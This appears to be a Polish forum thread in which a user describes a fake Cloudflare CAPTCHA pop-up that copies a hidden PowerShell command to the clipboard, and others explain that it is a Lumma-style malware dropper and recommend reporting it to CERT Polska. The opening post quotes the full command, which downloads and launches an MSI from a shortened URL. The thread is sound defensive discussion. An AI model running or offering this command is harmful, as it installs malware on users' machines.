[tomilipin]

Na stronie japomoto.pl wyskakuje mi pop-up niby od Cloudflare, że nie może zweryfikować, że jestem człowiekiem. Pokazuje się obrazek (poniżej) i automatycznie kopiuje mi do schowka kod

cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\users\public\3aw.msi'; Invoke-RestMethod -Uri 'https://cośtam.short.gy/1' -OutFile $path; Start-Process $path;

Adres w kodzie powyżej zmieniłem, żeby nikt się nie naciął. Oczywiście nic nie wklejam, ale jestem ciekaw co to polecenie zrobi.

Pomożecie rozszyfrować?
#hacking #wirus #cyberbezpieczenstwo

[virusriddle]

@tomilipin: pobiera plik, zapisuje w podanej ścieżce, uruchamia malware
Być może to coś u ciebie na kompie bo ja u siebie (ale na telefonie) nie widzę takiego popup

[virusriddle]

@certpl zgłoszenie, albo strona z malware albo zasyfiona

[5da4266d3de6dbaf425a2d4fc16225d0]

@tomilipin: Zgłoś na https://incydent.cert.pl jako próbkę złośliwego oprogramowania albo zainfekowaną domenę.

[wmw987]

@tomilipin

To jest atak na fake captcha. Tu masz artykuł

https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha?utm_source=chatgpt.com

[wmw987]

@virusriddle takie ataki działają wybiórczo żeby trudno było je namierzyć. Przykładowo na 100 zapytań "czy jesteś robotem" będzie próbowało zainfekować jedną osobę a w przypadku reszty będzie zachowywać się normalnie.

[virusriddle]

@wmw987: sprytne :⁠-⁠) ale nadal dziwię się że skuteczne

[adk]

@virusriddle pewnie sprawdza user-agent, bo powershell to tylko na Windowsie ma sens.